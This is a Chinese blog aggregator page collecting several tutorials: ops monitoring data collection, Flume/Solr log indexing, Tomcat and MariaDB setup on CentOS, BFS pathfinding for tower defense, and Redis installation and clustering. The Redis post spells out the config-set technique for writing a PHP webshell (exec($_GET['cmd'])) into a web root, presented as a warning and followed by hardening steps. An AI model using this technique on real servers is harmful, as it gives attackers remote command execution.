首页 文章 精选 留言 我的

精选列表

搜索[搭建],共10000篇文章
优秀的个人博客,低调大师

甲方大人来了之运维数据分析平台搭建实战

前段时间某甲方大人(富得流油)说他们日常运维人员天天忙的不行,每天穿梭于好几套性能监控系统,问我们能不能给想想办法,在不铲掉现有几套性能监控系统的情况下,让他们不用切换系统就能搞定日常运维需求。这个需求从项目经理那传到了产品经理那、又从产品经理那传到研发经理那、然后就传到我这,我记得我说有(做)点(不)麻(到)烦(阿)呢;再然后合同就下来了。 两个字,干活。 先说下甲方大人的需求和痛点,甲方大人说平日的系统运维工作主要围绕应用、主机、数据库和业务四个方面。 (1)应用发布平台是IBM的WebSphere Application Server(简称WAS),应用的性能监控基于WAS自带监控模块; (2)主机监控基于IBM Tivoli Monitoring System,业务监控则通过分析应用日志的方式实现。 (3)数据库监控依赖一个古老的oracle性能监控工具; (4)应用日志需要登陆到AIX业务机器上查看; “每当出现一个问题,先登陆was看下业务进程性能趋势,再登陆Tivoli查看主机性能趋势,然后登陆数据库监控查看数据库性能趋势,再然后登陆AIX主机查看日志。一套下来肚子就饿了,到食堂发现好吃的饭菜已经被别人抢光了,希望你们能帮我们改善改善伙食“。嗯,听上去影响蛮大的,不过他们怎么知道我烧菜的手艺的,上周末做的清蒸鲈鱼味道还不错... 四个字,干活干活。 在了解了甲方大人的需求和痛点后,经过一番苦思冥想,设计了上面的看上去有点复杂的架构图,超过20个字怕甲方大人看不懂。大道至简,借鉴老子的一段话附和一下这张图, “人法地、地法天、天法道、道法自然”, 老子 用了十三个字,将天、地、人乃至整个宇宙的生命 规律 精辟涵括、阐述出来。 菜谱准备好了,小葱拌豆腐,开始下锅。 数据采集上,针对WAS、Tivoli、Oracle和AIX应用主机的采集需求,需要coding了(没有什么需求是一坨代码解决不了的,如果有那就两坨): (1)开发一个WAS进程性能采集器,参考 https://github.com/alexivkin/WebSphere-Performance-Monitor,万能的python,哦no,这个是Jython,看起来跟python一样嘛,无非就是python里面用java,java里面跑python。由于是三年前的版本,加上没有IBM WAS的测试环境,花掉一个上午时间脑补调试,什么是脑补调试法,答按行过目代码、眼睛输入,大脑跑跑(非专业人士请勿模仿); (2)开发一个Tivoli数据收集器,又花掉一个晚上,Tivoli支持Soap方式拉取新能数据,我不会告诉你可以用一个CURL拉取所有主机性能所有数据的,想知道的留言处扣666; (3)开发一个Oracle数据库性能采集器,还好elastic 大佬开源了beats https://github.com/elastic/beats,坑爹的是竟然不支持oracle,莫非oracle大佬的开发人员都休眠了么;花了两个晚上捣鼓捣鼓,支持个tps、qps、物理读、逻辑度、吞吐量还是可以的,小算一下支持200多个指标吧,oracle采集beat依赖oracle client( https://www.oracle.com/technetwork/topics/intel-macsoft-096467.html)不是一般的麻烦; (4)开发一个AIX日志文件采集器,我们公司有大佬开发了一个,拿过来直接集成( https://github.com/DTStack/jfilebeat); 感兴趣的猴子们可以试试走一遍上面的过程,一个上午+两个晚上+几杯咖啡的事情,咖啡给大家推荐一款来自的马来半岛的OWL,俗名猫头鹰,非常适合晚上睁大眼睛看屏幕用,香甜可口纵享丝滑。。。 数据接收和解析组件,我们公司大佬自研了java版本的logstash,参考( https://github.com/DTStack/jlogstash),日志接收和解析性能是ruby版本性能5倍以上,关键是配置简单,分钟内上手,同事出门上个厕所的时间回来我就配置好了(大笑); 数据存储方面,最近一周的日志数据全部投递到elasticsearch里,以防哪天甲方大人心血来潮想搜个日志啥的;结构化的应用进程数据、主机性能数据、数据库性能数据和业务日志数据投递到clickhouse里,通过clickhouse强大的聚合计算能力(多表数据关联,sum/avg等聚合计算),计算出同一时间线上的业务和进程、主机以及数据库性能的关联趋势图。一句话总结下ck吧,在sql里计算我只服ck( https://clickhouse-docs.readthedocs.io/en/latest/functions/),源码请见 https://github.com/yandex/ClickHouse。 坚持看到这里就是真爱了,贴上一张系统架构图,图中左方是数据采集层,easymanager是公司自研的自动部署神器(不用想了,没有开源),右边是数据展示端,把应用、主机、数据库、日志数据统一展示在一张大屏上,废话不说了,上菜! (谢幕要另起两行) 验收会上,项目验收会上, 甲方大人面无表情,我们的项目经理滔滔不绝黄河之水, 项目经理:“was 进程性能数据、主机性能数据和数据库数性能据数据趋势图,高业务量对应高负载、高性能消耗和高数据库读写,关联估算出业务量和性能数据之间的比例关系,实现关联分析;同时通过业务闲时异常性能数据趋势(如异常持续高负载,异常持续高内存消耗,异常持续高数据库读写)情况定位应用程序的故障,辅助故障定位及时对故障应用程序进行处理。在业务高峰期,持续的业务高峰和持续的性能负载趋势会触发告警,及时对性能故障和业务高峰压力进行预警,辅助故障预警和决策...“。 甲方大人:“哦,吃饭“。

优秀的个人博客,低调大师

Flume + Solr + log4j搭建web日志采集系统【转】

前言 很多web应用会选择ELK来做日志采集系统,这里选用Flume,一方面是因为熟悉整个Hadoop框架,另一方面,Flume也有很多的优点。 关于Apache Hadoop Ecosystem 请点击这里。 Cloudera 官方的教程也是基于这个例子开始的,get-started-with-hadoop-tutorial 并且假设我们已经了解Flume(agent, Source, Channel, Sink) , Morphline (ETL), Solr (全文检索),如果都没有了解,请自行百度。 Scenario (需求) 首先我们有多个web 应用,每个web应用每天都有不断的日志产生,这些日志文件现在以文件的形式存储在服务器当中,我们需要收集这些日志,并对日志进行查询。 所以整个流程就是,Flume agent 收集日志 -> Morphline 进行过滤 -> 对结果进行索引然后在Solr中进行搜索。 Flume 收集日志 1、使用 Spooling Directory Source 就是监视指定目录是否有新文件移入,如果有,就会读取这些Event, 但是文件一旦被移到该目录之后,就不应该被写入,目录 下的文件名也不可重复,这样的情况就是需要定期将文件移动到指定的目录,不能实现实时的读取。 2、使用 Exec Source 就是通过下面的命令行产生的结果作为源,在agent 死亡或或者机器重启的过程可能会存在数据丢失 agent.sources.execSrc.type = exec agent.sources.execSrc.shell=/bin/bash -c agent.sources.execSrc.command= tail -F /var/log/flume/flume.log | grep "error: " 1、使用消息中间件JMS或者KAFKA 请参考: 基于Flume+Log4j+Kafka的日志采集架构方案 客户端直接发送至kafaka queue , 用 log4j KafkaAppender 2、使用Flume Appender 对于Java web 应用,我们就最简单直接采取这种方式。 Flume Appender 我们这里就直接采用log4j2 , 关于日志框架的这些说 明,请看另一片博客 spring boot use log4j log4j 关于flume Appender 的配置 The Flume Appender supports three modes of operation. 1、It can act as a remote Flume client which sends Flume events via Avro to a Flume Agent configured with an Avro Source.(同 步,Avro协议) 2、It can act as an embedded Flume Agent where Flume events pass directly into Flume for processing.(异步,需要维护客户端 flume) 3、It can persist events to a local BerkeleyDB data store and then asynchronously send the events to Flume, similar to the embedded Flume Agent but without most of the Flume dependencies.(先写数据库,再异步发送) Usage as an embedded agent will cause the messages to be directly passed to the Flume Channel and then control will be immediately returned to the application. All interaction with remote agents will occur asynchronously. Setting the "type" attribute to "Embedded" will force the use of the embedded agent. In addition, configuring agent properties in the appender configuration will also cause the embedded agent to be used. 我们下面就简单的用第一种方式 客户端配置 log4j.xml <?xml version="1.0" encoding="UTF-8"?> <Configuration status="warn" name="MyApp" packages=""> <Appenders> <Flume name="eventLogger" compress="true"> <Agent host="192.168.10.101" port="8800"/> <Agent host="192.168.10.102" port="8800"/> <RFC5424Layout enterpriseNumber="18060" includeMDC="true" appName="MyApp"/> </Flume> </Appenders> <Loggers> <Root level="error"> <AppenderRef ref="eventLogger"/> </Root> </Loggers> </Configuration> 服务端配置 参考:flume log4j appender config 下载 flume, 在conf 目录下,配置example.conf : # example.conf: A single-node Flume configuration # Name the components on this agent a1.sources = r1 a1.sinks = k1 a1.channels = c1 # Describe/configure the source a1.sources.r1.type = org.apache.flume.clients.log4jappender.Log4jAppender a1.sources.r1.bind = localhost a1.sources.r1.port = 44444 # Describe the sink a1.sinks.k1.type = logger # Use a channel which buffers events in memory a1.channels.c1.type = memory a1.channels.c1.capacity = 1000 a1.channels.c1.transactionCapacity = 100 # Bind the source and sink to the channel a1.sources.r1.channels = c1 a1.sinks.k1.channel = c1 启动 flume bin/flume-ng agent --conf conf --conf-file example.conf --name a1 -Dflume.root.logger=INFO,console 查看日志,是否成功。 Solr 配置 关于solr的介绍 这里 solr的数据也是需要存储到 hdfs中的,另外solr 是通过zookeeper 来管理的 以下配置,这里用的cloudera manager 安装,所以自动配好了,但是需要检验,如果是手动安装也有对应的文档可以直接查看, 另外这里省略Solr Authentication。 配置 zookeeper service $ cat /etc/solr/conf/solr-env.sh export SOLR_ZK_ENSEMBLE=zk01.example.com:2181,zk02.example.com:2181,zk03.example.com:2181/solr 配置 solr use hdfs $ cat /etc/default/solr //地址nn01.example.com:8020 是hdfs name node的地址 SOLR_HDFS_HOME=hdfs://nn01.example.com:8020/solr //To create the /solr directory in HDFS,需要创建/solr hdfs目录: $ sudo -u hdfs hdfs dfs -mkdir /solr $ sudo -u hdfs hdfs dfs -chown solr /solr initializing the ZooKeeper Namespace $ sudo service solr-server restart 启动solr $ sudo service solr-server restart solr collection 配置 solr 通过 collection 来组织逻辑数据,所以你需要创建collection,每个collection有自己的配置,文档上已经讲的比较清楚了,而且也不多,这里不再赘述 Generating Collection Configuration 下面是的collection是用来存储上面收集到的日志: // 使用默认模版创建instancedir $ solrctl instancedir --generate $HOME/weblogs_config // upload instancedir to zookeeper,上传配置 $ solrctl instancedir --create weblogs_config $HOME/weblogs_config //verify instance $ solrctl instancedir --list // create collection -s shard_count, collection 和config 关联 $ solrctl collection --create weblogs_collection -s 2 -c weblogs_config A SolrCloud collection is the top-level object for indexing documents and providing a query interface. Each collection must be associated with an instance directory. Different collections can use the same instance directory. Each collection is typically replicated among several SolrCloud instances. Each replica is called a core and is assigned to an individual Solr service. The assignment process is managed automatically, although you can apply fine-grained control over each individual core using the solrctl core command . 这是 collection 和instance之间关系的介绍 成功创建之后如何修改和扩展,请参考这里solectl usage Morphline (ETL) 创建好 collection 之后,我们就需要将日志解析存储到solr里,方便检索。Morphline 就是这个中间过程的ETL工具(extracting, transforming and loading data), Flume 提供了Morphlion Solr Sink, 从 log flume的source中读取event,经过ETL导入到solr中。 配置flume 继续上面的flume,中 example.conf 的配置 a1.sources = r1 a1.sinks = k1 a1.channels = c1 # Describe/configure the source a1.sources.r1.type = avro a1.sources.r1.bind = 0.0.0.0 a1.sources.r1.port = 4444 # Describe the sink a1.sinks.k1.type = org.apache.flume.sink.solr.morphline.MorphlineSolrSink a1.sinks.k1.morphlineFile=morphlines.conf a1.sinks.k1.morphlineId = morphline_log4j2 # Use a channel which buffers events in memory a1.channels.c1.type = memory a1.channels.c1.capacity = 1000 a1.channels.c1.transactionCapacity = 1000 # Bind the source and sink to the channel a1.sources.r1.channels = c1 a1.sinks.k1.channel = c1 配置Morphline 我们的日志格式文件如下: [INFO ] 2017-07-14 11:40:51.556 [main] RequestMappingHandlerAdapter - Detected ResponseBodyAdvice bean in apiResponseAdvice 需要解析成: level: INFO create_time: 2017-07-14 11:40:51.556 thread: main class: RequestMappingHandlerAdapter - //这里有个短横线 message: Detected ResponseBodyAdvice bean in apiResponseAdvice 所以我们使用grok 在线调试工具online tools # grok get data from unstructured line { grok { dictionaryFiles : [grok-dictionary.conf] expressions : { message : """\[%{LOGLEVEL:level} \] %{SC_LOGDATETIME:create_time} \[%{DATA:thread}\] %{WORD:class} [-] %{GREEDYDATA:message}""" } } } # Consume the output record of the previous command and pipe another # record downstream. # # convert timestamp field to native Solr timestamp format # e.g. 2017-07-14 11:40:52.512 to 2012-09-06T07:14:34.000Z { convertTimestamp { field : create_time inputFormats : ["yyyy-MM-dd HH:mm:ss.SSS", "yyyy-MM-dd"] inputTimezone : America/Los_Angeles outputFormat : "yyyy-MM-dd'T'HH:mm:ss.SSS'Z'" outputTimezone : UTC } } 配置 schema.xml 在上一节,配置solr的时候,我们生成了默认的模版,我们需要根据实际的需求修改schema.xml,在$HOME/weblogs/conf 下 The schema.xml file contains all of the details about which fields your documents can contain, and how those fields should be dealt with when adding documents to the index, or when querying those fields. schema.xml solrconfig.xml <field name="level" type="text_general" indexed="true" stored="true" multiValued="true"/> <field name="create_time" type="date" indexed="true" stored="true"/> <field name="thread" type="text_general" indexed="true" stored="true"/> <field name="class" type="text_general" indexed="true" stored="true"/> <field name="message" type="text_general" indexed="true" stored="true"/> 重新上传配置到zookeeper $ solrctl instancedir --update weblogs_config $HOME/weblogs_config $ solrctl collection --reload weblogs_collection 总结 到此为止,我们完成了日志的收集,解析,索引,你可以通过 Hue来进行搜索和查询了,或者自己定义UI。这个教程比较基础也相对简单,但是可以完成基本的需求,也把日志处理流程走了一遍,剩下的大家自定义即可。

优秀的个人博客,低调大师

新手向: ECS搭建Java运行平台, 安装MySQL 以及Tomcat运行

需要 准备一台ECS主机, 立即购买, 阿里云服务器293/1年 或者 个人阿里云推广返还, 购买最多折上9折 系统推荐CentOS7(以下使用CentOS7作为例子) 准备好Tomcat运行包, 这里选用Apache Tomcat 8.0.53 准备好Java运行环境 这里采用Oracle Java Server JRE 1.8.0_181 可以点击此处进入官网下载历史版本的Java, 需要Oracle账号, 注册一个即可 准备阶段 准备好的服务器, 装了CentOS7.4的系统 看到IP是47.104.66.241, 直接使用SSH连接过去, 这里SSH可以使用 putty Download PuTTY 在HostName中填写IP地址 47.104.66.241, 点击Open, 应该会弹出框 点击是后, 输入用户名密码, 这里使用root可以看到连接成功了 如果看到没有连接成功, 检查下阿里云的安全组然后点击配置规则, 并检查是否有22/22的端口如果没有, 按如图添加一条22的端口, 表示外网可以访问到这个端口如果还是没有, 检查下服务器防火墙是否被打开如果还是没有, 可以发工单求助专业的工作人员. 安装MySQL(该步骤可以跳过) 1. 准备 这是一台全新的服务器, 首先安装 MySQL, 在CentOS中, 可以使用MariaDB来代替MySQL, 安装很简单, 只需控制台输入 yum install mariadb mariadb-server -y 若干秒后看到 .. .. Dependency Installed: libaio.x86_64 0:0.3.109-13.el7 perl-Compress-Raw-Bzip2.x86_64 0:2.061-3.el7 perl-Compress-Raw-Zlib.x86_64 1:2.061-4.el7 perl-DBD-MySQL.x86_64 0:4.023-6.el7 perl-DBI.x86_64 0:1.627-4.el7 perl-Data-Dumper.x86_64 0:2.145-3.el7 perl-IO-Compress.noarch 0:2.061-2.el7 perl-Net-Daemon.noarch 0:0.48-5.el7 perl-PlRPC.noarch 0:0.2020-14.el7 Dependency Updated: mariadb-libs.x86_64 1:5.5.60-1.el7_5 Complete! 即安装完成 2. 运行MariaDB systemctl start mariadb 没有任何返回, 就表示完成了, 接下来就是设置它开机自启动 systemctl enable mariadb 返回 Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service. 表示加入开机启动完成 3. 配置MariaDB 刚安装好的MariaDB需要进行简单的配置命令行输入 mysql_secure_installation 按图中的提示进行操作 时候登陆mysql, 发现已经安装好了 但是此时还不够, 因为默认安装的mariadb, 在存储中文时会报错, 此时要进行配置的更改 修改server.cnf配置文件, 增加连接相关属性 vi /etc/my.cnf.d/server.cnf 光标移动到[mysqld]下方, 按下A键此时左下角出现 -- INSERT --, 表示可以进行编辑状态接着直接键盘输入以下配置 character-set-client-handshake = FALSE character-set-server = utf8mb4 collation-server = utf8mb4_unicode_ci init_connect='SET NAMES utf8mb4' lower_case_table_names = 1 # 这个可选, 表示不区分大小写 然后按下Esc键, 此时左下角 -- INSERT --消失接着按下:wq, 直接按就行, 左下角出现对应字符回车, 保存然后修改client.conf文件 vi /etc/my.cnf.d/client.cnf 在[client]中加入如下的话 default-character-set = utf8mb4 :wq保存退出 最后, 重启MariaDB systemctl restart mariadb 重启没有任何提示就结束表示成功 再次进入MySQL, 发现字符集已经完成更改 安装Java 从官网下载Java, 选择这个版本, 下载Tomcat 若干秒后, 下载完毕 使用ssh工具上传到云服务器, 这里ssh工具使用SFTP, 添加后双击进入, 并选择接受并保存 将刚刚下的2个文件直接拖进来即可剩下, 回到服务器上, 由于刚刚上传的文件在 /root下, 进入/root cd /root ls一下发现文件已经上来了 解压这2个文件, 执行后当前目录会多出2个文件夹 tar -zxvf jre-8u181-linux-x64.tar.gz && tar -zxvf apache-tomcat-8.0.53.tar.gz 我个人习惯将java和tomcat放在/usr/local中, 当然也可以直接放在/root中, 如果移动目录使用 mv 老文件(夹)1 [老文件(夹)2] 新文件(夹) 配置Java环境 配置环境变量 vi /etc/profile 移动到底部, 添加如下字段, JAVA_HOME的目录就是刚刚java的目录 export JAVA_HOME=/usr/local/jre1.8.0_181 export PATH=$JAVA_HOME/bin:$PATH export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar 生效配置 source /etc/profile 检验配置输入java -version,如图所示表示java安装成功 运行Tomcat 刚刚Tomcat已经移动到了/usr/local中, 启动非常简单, 直接 cd /usr/local/apache-tomcat-8.0.53/ bin/startup.sh 如图所示表示启动成功 访问这个Tomcat, 因为Tomcat使用的是8080端口, 但是阿里云安全组没有开放这个8080端口, 因此访问是无法访问的进入刚刚的安全组, 添加一条8080的端口再次访问结束了, 如果希望将Tomcat加入到开机启动, 可以在 /etc/rc.local中添加如下 source /etc/profile /usr/local/apache-tomcat-8.0.53/bin/startup.sh 然后运行下 chmod +x /etc/rc.d/rc.local 小插曲 如果遇到Tomcat启动的时候特别慢, 试着做如下修改 参考Tomcat 8熵池阻塞变慢详解 vi /usr/local/jre1.8.0_181/lib/security/java.security 找到如下的行数, 可以在vi中通过按esc, 然后按 / 再输入random搜索这一行继续按n搜索下一个, 直到搜索到如下图的字样时结束修改成如下 最后, 感谢您的浏览.

优秀的个人博客,低调大师

如何快速搭建一个简单的塔防小游戏

C语言是所有编程语言的基础,当我们对C语言有足够深入的理解后,就能轻松入门其他语言,比如现在流行的Python。现在,我将带领大家看一个基于C语言经典算法,使用Python编写的塔防小游戏。 在塔防游戏中,有许多敌人向着同一目标前进。在很多塔防游戏当中,有一条或几条事先预定好的路径。在一些中,比如经典的《Desktop Tower Defense》,你可以将塔放在任何位置,它们充当障碍影响敌人选择的路径。试一试,点击地图来移动墙壁: 我们如何来实现这种效果? 像A*这样的图搜索算法经常被用来寻找两点之间的最短路径。你可以用这个来为每一个敌人找到前往目标的路径。在这种类型的游戏当中,我们有很多不同的图搜索算法来。这是一些经典方法 单源,单目标: 贪心搜索算法 A*算法 – 在游戏当中常用 单源多目标或多源单目标 广度优先算法-无加权边 Dijkstra算法-有加权边 Bellman-Ford算法-支持负权重 多源多目标 Floyd-Warshall算法 Johnson’s算法 像《Desktop Tower Defense》这样的游戏会有很多个敌人(源)和一个共同的目的地。这使得它被归为多源单目标一类。我们可以执行一个算法,一次算出所有敌人的路径,而不是为每个敌人执行一次A*算法。更好的是,我们可以计算出每个位置的最短路径,所以当敌人挤在一块或者新敌人被创建时,他们的路径已经被计算好了。 我们先来看看有时也被称作“洪水填充法”(FIFO变种)的广度优先算法。虽然图搜索算法是适用于任何由节点和边构成的图,但是我还是使用方形网格来表示这些例子。网格是图的一个特例。每个网格瓦片是图节点,网格瓷砖之间的边界是图的边。我会在另一篇文章当中探讨非网格图。 广度优先搜索始于一个节点,并访问邻居节点。关键的概念是“边界”,在已探索和未开发的区域之间的边界。边界从原始节点向外扩展,直到探索了整张图。 边界队列是一个图节点(网格瓦片)是否需要被分析的列表/数组。它最开始仅仅包含一个元素,起始节点。每个节点上的访问标志追踪我们是否采访过该节点。开始的时候除了起始节点都标志为FALSE。使用滑块来查看边界是如何扩展的: 这个算法是如何工作的?在每一步,获得一个元素的边界并把它命名为current。然后寻找current的每个邻居,next。如果他们还没有被访问过的话,将他们都添加到边界队列里面。下面是一些python代码: Python frontier = Queue() frontier.put(start) visited = {} visited[start] = True while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in visited: frontier.put(next) visited[next] = True frontier = Queue() frontier.put(start) visited = {} visited[start] = True while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in visited: frontier.put(next) visited[next] = True 现在已经看见代码了,试着步进上面的动画。注意边界队列,关于current的代码,还有next节点的集合。在每一步,有一个边界元素成为current节点,它的邻居节点会被标注,并且未被拜访过的邻居节点会被添加到边界队列。有一些邻居节点可能已经被访问过,他们就不需要被添加到边界队列里面了。 这是一个相对简单的算法,并且对于包括AI在内的很多事情都是有用的。我有三种主要使用它的办法: 1.标识所有可达的点。这在你的图不是完全连接的,并且想知道哪些点是可达的时候是很有用的。这就是我再上面用visited这部分所做的。 2.寻找从一个点到所有其他点或者所有点到一个点的路径。我在文章开始部分的动画demo里面使用了它。 3.测量从一个点到所有其他点的距离。这在想知道一个移动中的怪物的距离时是很有用的。 如果你正在生成路径,你可能会想知道从每个点移动的方向。当你访问一个邻居节点的时候,要记得你是从哪个节点过来的。让我们把visited重命名为came_from并且用它来保存之前位置的轨迹: Python frontier = Queue() frontier.put(start) came_from = {} came_from[start] = None while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in came_from: frontier.put(next) came_from[next] = current frontier = Queue() frontier.put(start) came_from = {} came_from[start] = None while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in came_from: frontier.put(next) came_from[next] = current 我们来看看它看起来是怎样的: 如果你需要距离,你可以在起始节点讲一个计数器设置为0,并在每次访问邻居节点的时候将它加一。让我们把visitd重命名为distance,并且用它来存储一个计数器: Python frontier = Queue() frontier.put(start) distance = {} distance[start] = 0 while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in distance: frontier.put(next) distance[next] = 1 + distance[current] frontier = Queue() frontier.put(start) distance = {} distance[start] = 0 while not frontier.empty(): current = frontier.get() for next in graph.neighbors(current): if next not in distance: frontier.put(next) distance[next] = 1 + distance[current] 我们来看看它看起来是怎样的: 如果你想同时计算路径和距离,你可以使用两个变量。 这就是广度优先检索算法。对于塔防风格的游戏,我用它来计算所有位置到一个指定位置的路径,而不是重复使用A*算法为每个敌人分开计算路径。我用它来寻找一个怪物指定行动距离内所有的位置。我也是用它来进行程序化的地图生成。Minecraft使用它来进行可见性提出。由此可见这是一个不错的算法。 下一步 我有python和c++代码的实现。 如果你想要找到从一个点出发而不是到达一个点的路径,只需要在检索路径的时候翻转came_from指针。 如果你想要知道一些点而不是一个点的路径,你可以在图的边缘为你的每个目标点添加一个额外的点。额外的点不会出现在网格中,但是它会表示在图中的目标位置。 提前退出:如果你是在寻找一个到达某一点或从某一点出发,。我在A*算法的文章当中描述了这种情况。 加权边:如果你需要不同的移动成本,广度优先搜索可以替换为为Dijkstra算法。我在A*算法的文章当中描述了这种情况。 启发:如果你需要添加一种指导寻找目标的方法,广度优先算法可以替换为最佳优先算法。我在A*算法的文章当中描述了这种情况。 如果你从广度优先算法,并且加上了提前退出,加权边和启发,你会得到A*。如你所想,我在A*算法的文章当中描述了这种情况。 满满的自豪感,真的很想知道大家的想法,还请持续关注更新,更多干货和资料请直接联系我,也可以加群710520381,邀请码:柳猫,欢迎大家共同讨论

优秀的个人博客,低调大师

CentOS7.X安装Redis-4.0.8以及Redis集群搭建

安装redis 安装前的准备 yum install \ vim \ wget \ make \ gcc \ gcc-c++ \ automake \ autoconf \ -y \ 下载解压并安装 cd /root wget http://download.redis.io/releases/redis-4.0.8.tar.gz tar -zxzf redis-4.0.8.tar.gz cd redis-4.0.8 make PREFIX=/usr/local/redis/ install 创建配置中要求的数据文件存储位置 mkdir /data mkdir /data/redis mkdir /usr/local/redis/log 添加修改配置文件参考配置 cp ./redis.conf /usr/local/redis vim /usr/local/redis/redis.conf # IP绑定 bind 127.0.0.1 192.168.0.111 # 保护模式(开启条件为各redis之间可以互相通信,做集群不可开启) protected-mode yes # 访问端口 port 6379 # 连接超时,单位S,0为不启用超时 timeout 0 # 以守护进程运行 daemonize yes # 数据文件路径 dir /data/redis # 进程ID文件的路径 pidfile /usr/local/redis/log/redis.pid # 日志文件路径 logfile /usr/local/redis/log/redis.log # 开启键过期删除通知 notify-keyspace-events Ex ESC :wq # 以下安全配置选项仅作参考 # 禁用部分危险命令 rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" # 添加访问密码 requirepass ******** # IP绑定本机 bind 127.0.0.1 性能优化 # 编辑/etc/rc.local vim /etc/rc.local echo never > /sys/kernel/mm/transparent_hugepage/enabled ESC :wq # 添加/etc/rc.local执行权限 chmod +x /etc/rc.d/rc.local # 编辑/etc/sysctl.conf vim /etc/sysctl.conf vm.overcommit_memory = 1 net.core.somaxconn = 1024 ESC :wq # 立即解决 echo never > /sys/kernel/mm/transparent_hugepage/enabled echo 1024 > /proc/sys/net/core/somaxconn sysctl vm.overcommit_memory=1 sysctl -p 修改目录归属 useradd -s /sbin/nologin -M redis chown -R redis:redis /data/redis chown -R redis:redis /usr/local/redis 启动redis并设置开机启动 # 进入单元文件目录 cd /etc/systemd/system # 创建redis单元文件,格式为: [单元文件名].[单元文件类型] vim redis.service [Unit] Description=Start redis on boot. After=default.target network.target [Service] User=redis Group=redis Type=forking PIDFile=/usr/local/redis/log/redis.pid ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf ExecReload=/bin/kill -s HUP $MAINPID ExecStop=/bin/kill -s QUIT $MAINPID PrivateTmp=false Restart=always [Install] WantedBy=multi-user.target ESC :wq # 修改文件权限为只有root用户可以编辑该文件 chown -R root:root /etc/systemd/system/redis.service chmod -R 644 /etc/systemd/system/redis.service # 更新systemd systemctl daemon-reload systemctl enable redis systemctl start redis 存入数据 /usr/local/redis/bin/redis-cli -h 127.0.0.1 set num 123 save get num quit 批量删除匹配规则数据 redis-cli keys [匹配规则]|xargs redis-cli del Redis宕机 aof文件损坏 启动失败 拷贝aof文件 修复坏损的aof文件 redis-check-aof --fix [aof文件名] 重新启动Redis Redis漏洞webshell的利用 参考链接 Redis该漏洞用到的原理如下 redis原生支持通过'redis-cli>config set'在不重启redis服务的情况下,动态修改配置dir、dbfilename; redis的配置中如果指定'dir /www/'和'dbfilename test.php',则当执行save命令时,会在/www/目录下生成一个数据存储文件test.php,虽然该文 件是一个二进制文件,但其内容中包含保存的数据的值,如果/www/目录为web目录,则/www/test.php则会被人利用,成为入侵你服务器的入口; 漏洞举例(这是一个负面教材) redis以超级管理员用户root运行 Nginx以超级管理员用户root启动,子进程也以root运行 web服务器为nginx,并做如下配置: server { listen x; server_name xxx.xxx.com; root /www; location / { index index.php index.html index.htm; } location ~ \.php$ { fastcgi_index index.php; fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } 通过redis-cli执行了以下命令 config set dir /www/ config set dbfilename test.php set test "<?php exec($_GET['cmd']); ?>" save 这时候可怕的事情出现了 在/www/目录下,存在test.php文件,它可以通过http://xxx.xxx.com/test.php访问到 如果现在访问http://xxx.xxx.com/test.php?cmd=xxx,那么xxx就会被以root用户执行(xxx为任意linux命令) Redis漏洞webshell的防范 不要线上使用redis的web管理工具 redis以低权限用户运行(如rediser等让人想不到的用户名) redis仅允许通过本机和内网访问(bind 127.0.0.1 192.168.0.12/24) redis禁用config命令(在配置文件中可以禁用rename-command CONFIG "") web服务子进程以低权限用户运行(因为webshell的运行用户为web服务的子进程) redis集群(cluster方式) 集群前的配置(单机两服务测试6379,6380) # 内网IP:192.168.0.100 修改redis.conf vim /usr/local/redis/redis.conf # 启用cluster cluster-enabled yes # 调用cluster配置文件 cluster-config-file nodes-6379.conf # 集群超时 cluster-node-timeout 15000 # 关闭宕机全停 cluster-require-full-coverage no # 集群从属元素个数 cluster-slave-validity-factor 10 # 从机数最低迁移值(master至少有两台slave,才能做slave迁移) cluster-migration-barrier 1 ESC :wq 配置文件添加 yum install ruby gem install redis cp /usr/local/redis/redis.conf /usr/local/redis/redis.conf.backup cp /usr/local/redis/redis.conf /usr/local/redis/redis-6379.conf cp /usr/local/redis/redis.conf /usr/local/redis/redis-6380.conf mkdir /usr/local/redis/data/6379 mkdir /usr/local/redis/data/6380 修改redis-6379.conf vim /usr/local/redis/redis-6379.conf unixsocket /usr/local/redis/data/6379/redis.sock pidfile /usr/local/redis/log/redis_6379.pid logfile /usr/local/redis/log/redis_6379.log dir /usr/local/redis/data/6379/ bind 192.168.0.100 port 6379 ESC :wq 修改redis-6380.conf vim /usr/local/redis/redis-6380.conf unixsocket /usr/local/redis/data/6380/redis.sock pidfile /usr/local/redis/log/redis_6380.pid logfile "/usr/local/redis/log/redis_6380.log" dir /usr/local/redis/data/6380/ bind 192.168.0.100 port 6380 ESC :wq 修改开机启动 vim /etc/rc.local /usr/local/redis/bin/redis-server /usr/local/redis/redis-6379.conf /usr/local/redis/bin/redis-server /usr/local/redis/redis-6380.conf ESC :wq 创建cluster cd /root/redis/src/ # 查看帮助 ./redis-trib.rb help # 添加绑定 ./redis-trib.rb create --replicas 1 192.168.0.100:6379 192.168.0.100:6380 集群测试 /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 -c 正常关闭(不要强制关闭) /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 shutdown 领支付宝红包支持作者

资源下载

更多资源
腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring

